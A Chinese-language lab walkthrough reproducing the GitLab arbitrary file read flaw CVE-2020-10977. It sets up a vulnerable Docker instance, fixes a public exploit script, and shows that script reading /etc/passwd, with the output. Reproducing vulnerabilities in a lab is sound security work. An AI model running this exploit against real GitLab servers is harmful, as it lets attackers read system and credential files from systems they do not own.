漏洞描述
- 地址: https://www.freebuf.com/vuls/235982.html
Gitlab安装
- 官方地址: https://docs.gitlab.com/omnibus/docker/
- PoC: https://www.exploit-db.com/exploits/48431
- 启动docker:
- 注意版本号,不要用最新版本,这个漏洞是有相关版本的
docker run --detach \ --hostname 192.168.1.22 \ --publish 9443:443 --publish 980:80 --publish 922:22 \ --name gitlab \ --restart always \ --volume /root/config:/etc/gitlab \ --volume /root/logs:/var/log/gitlab \ --volume /root/data:/var/opt/gitlab \ gitlab/gitlab-ee:12.1.6-ee.0
访问gitlab
- 访问地址: http://192.168.1.22:980,这个地址是你在docker启动的时候指定的
- 设置root账号的密码
- 新注册一个
普通账号
爆破脚本
- 地址: https://github.com/thewhiteh4t/cve-2020-10977
- 脚本使用问题及解决
- 不要使用gitlab的
root
账号,root
账号的网页解析会失败 - 脚本本身有一个小问题,把
project_id
的查找,替换为如下代码:data_project = body.find_all(attrs={"data-project-id": re.compile("\\d+")}) if len(data_project) == 0: raise Exception("没找到属性为data-project-id的元素") project_id = data_project[0].attrs['data-project-id']
- 不要使用gitlab的
脚本使用
- 按照github上的要求安装相关库
- 运行:
python cve_2020_10977.py http://192.168.1.22:980 user01 123456789
, 最后2个参数是用户名和密码 - 出现这个提示的时候输入你想获取的
主机文件的绝对路径
:
比如:[>] Absolute Path to File :
/etc/passwd
- 输出结果:
git:x:998:998::/var/opt/gitlab:/bin/sh gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh registry:x:993:993::/var/opt/gitlab/registry:/bin/sh gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
总结
- 只能针对文件,目录会报
Access Denied
:[>] Absolute Path to File : /tmp [!] Creating an Issue... [+] Issue Created Successfully! [!] Moving Issue... [-] Access Denied!
- 这个脚本会创建出2个项目:
ProjectOne
和ProjectTwo
,如果脚本中途崩溃的话,记得上去手动删除这2个项目